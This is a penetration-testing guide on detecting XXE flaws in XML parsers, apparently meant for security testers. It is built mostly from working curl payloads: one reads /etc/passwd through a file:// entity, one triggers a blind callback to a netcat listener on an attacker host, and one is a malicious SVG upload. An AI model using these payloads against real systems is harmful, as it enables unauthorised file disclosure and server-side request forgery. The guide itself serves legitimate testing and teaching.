# XXE DTD Processing Checks

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/xxe-dtd-processing-checks
- **Path:** HTTP/HTTPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md)
- **Published:** 2026-01-23
- **Updated:** 2026-03-28

XXE testing confirms whether an XML parser processes external DOCTYPE declarations and expands entities. If DTD processing is active, it enables file read from the server filesystem, SSRF to internal services, and in some cases blind out-of-band data exfiltration. Confirmed XXE moves to [XXE exploitation](https://hackindex.io/services/web/exploitation/xxe-exploitation).

- **XML endpoint identification** switches Content-Type to application/xml and watches for parser responses.
- **Internal entity expansion** defines and expands a local entity as a safe first probe.
- **External file read** uses a file:// entity URI to read /etc/passwd directly.
- **Blind OOB callback** triggers an HTTP request to your listener via an http:// entity URI.
- **SVG and file upload XXE** tests XML-based upload formats like SVG, DOCX, and XLSX.

Look for XML input surfaces during [content discovery](https://hackindex.io/services/web/enumeration/content-discovery): SOAP endpoints, REST APIs accepting `application/xml`, file upload endpoints processing XML-based formats like SVG, DOCX, or XLSX, and any request where `Content-Type: application/xml` is accepted.

## Identify XML Endpoints

Check whether the endpoint accepts XML by switching the Content-Type and watching the response behavior:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/endpoint -H 'Content-Type: application/xml' -d '<test>data</test>' -i
# HTTP/1.1 200 OK
# Content-Type: application/xml
```

A 200 or 500 with XML-specific error output confirms the endpoint parses XML. A 400 with a generic body error usually means the endpoint expects a different format.

## Internal Entity Expansion Test

Test whether the parser expands internal entities. This is safe and has no external network dependency: good for a first probe:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/endpoint -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe "XXETEST123">]><r>&xxe;</r>'
# <response>XXETEST123</response>
```

If the response contains `XXETEST123`, internal entity expansion is confirmed. This means the parser is processing the DOCTYPE and the full XXE attack path is open. Move immediately to [XXE exploitation](https://hackindex.io/services/web/exploitation/xxe-exploitation) for file read.

If the response contains the literal string `&xxe;` unexpanded, entity processing is disabled. If you get an explicit error like `DOCTYPE is disallowed`, classic XXE is blocked at the parser level.

## External File Read Test

If internal entities expand, test for external entity processing and file read directly:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/endpoint -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><r>&xxe;</r>'
# <response>root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:...</response>
```

File content in the response confirms in-band XXE file read. This is a critical finding: the parser processes external file:// URIs and returns their content in the response.

## Blind XXE with Out-of-Band Callback

When the parser processes external entities but the response doesn't reflect the content, use an out-of-band callback to confirm. Set up a listener first:

```bash
nc -lvnp $LPORT
```

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/endpoint -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "http://$LHOST:$LPORT/xxe-callback">]><r>&xxe;</r>'
```

An incoming HTTP request on your listener confirms blind XXE: the server made an outbound connection based on the injected URL. This also confirms SSRF through the XXE path, enabling [SSRF exploitation](https://hackindex.io/services/web/exploitation/ssrf-exploitation) against internal services.

## SVG and File Upload XXE

File upload endpoints processing SVG, DOCX, XLSX, or other XML-based formats are common blind XXE vectors. Test SVG uploads:

```xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE r [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>
```

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/upload -F 'file=@xxe.svg;type=image/svg+xml' | grep -i 'root\|passwd'
```

## References

- [PortSwigger: XXE Injection](https://portswigger.net/web-security/xxe) - XXE mechanics, parser behaviors, and blind XXE techniques
- [PayloadsAllTheThings: XXE](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection) - XXE payload collection including file read, SSRF, and blind variants
